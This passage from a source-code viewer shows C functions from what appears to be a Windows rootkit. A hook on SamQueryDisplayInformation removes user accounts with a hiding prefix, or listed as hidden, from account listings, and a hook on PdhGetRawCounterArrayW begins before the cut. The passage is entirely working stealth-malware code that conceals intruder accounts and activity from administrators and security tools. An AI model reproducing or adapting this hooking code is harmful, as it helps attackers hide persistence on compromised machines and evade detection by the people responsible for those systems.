| 816 | return status; |
| 817 | } |
| 818 | static NTSTATUS NTAPI HookedSamQueryDisplayInformation(HANDLE domainHandle, NT_DOMAIN_DISPLAY_INFORMATION displayInformation, ULONG index, ULONG entryCount, ULONG preferredMaximumLength, PULONG totalAvailable, PULONG totalReturned, PULONG returnedEntryCount, LPVOID *sortedBuffer) |
| 819 | { |
| 820 | NTSTATUS status = OriginalSamQueryDisplayInformation(domainHandle, displayInformation, index, entryCount, preferredMaximumLength, totalAvailable, totalReturned, returnedEntryCount, sortedBuffer); |
| 821 | |
| 822 | if (NT_SUCCESS(status) && sortedBuffer && *sortedBuffer && returnedEntryCount && displayInformation == DomainDisplayUser) |
| 823 | { |
| 824 | PNT_SAMPR_DISPLAY_USER users = (PNT_SAMPR_DISPLAY_USER)*sortedBuffer; |
| 825 | for (ULONG i = 0; i < *returnedEntryCount; i++) |
| 826 | { |
| 827 | users[i].AccountName.Buffer[users[i].AccountName.Length / sizeof(WCHAR)] = L'\0'; |
| 828 | |
| 829 | if (HasPrefix(users[i].AccountName.Buffer) || IsUserNameHidden(users[i].AccountName.Buffer)) |
| 830 | { |
| 831 | memmove(&users[i], &users[i + 1], (*returnedEntryCount - i - 1) * sizeof(NT_SAMPR_DISPLAY_USER)); |
| 832 | (*returnedEntryCount)--; |
| 833 | i--; |
| 834 | } |
| 835 | } |
| 836 | } |
| 837 | |
| 838 | return status; |
| 839 | } |
| 840 | static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer) |
| 841 | { |
| 842 | PDH_STATUS status = OriginalPdhGetRawCounterArrayW(counter, bufferSize, itemCount, itemBuffer); |
nothing calls this directly
no test coverage detected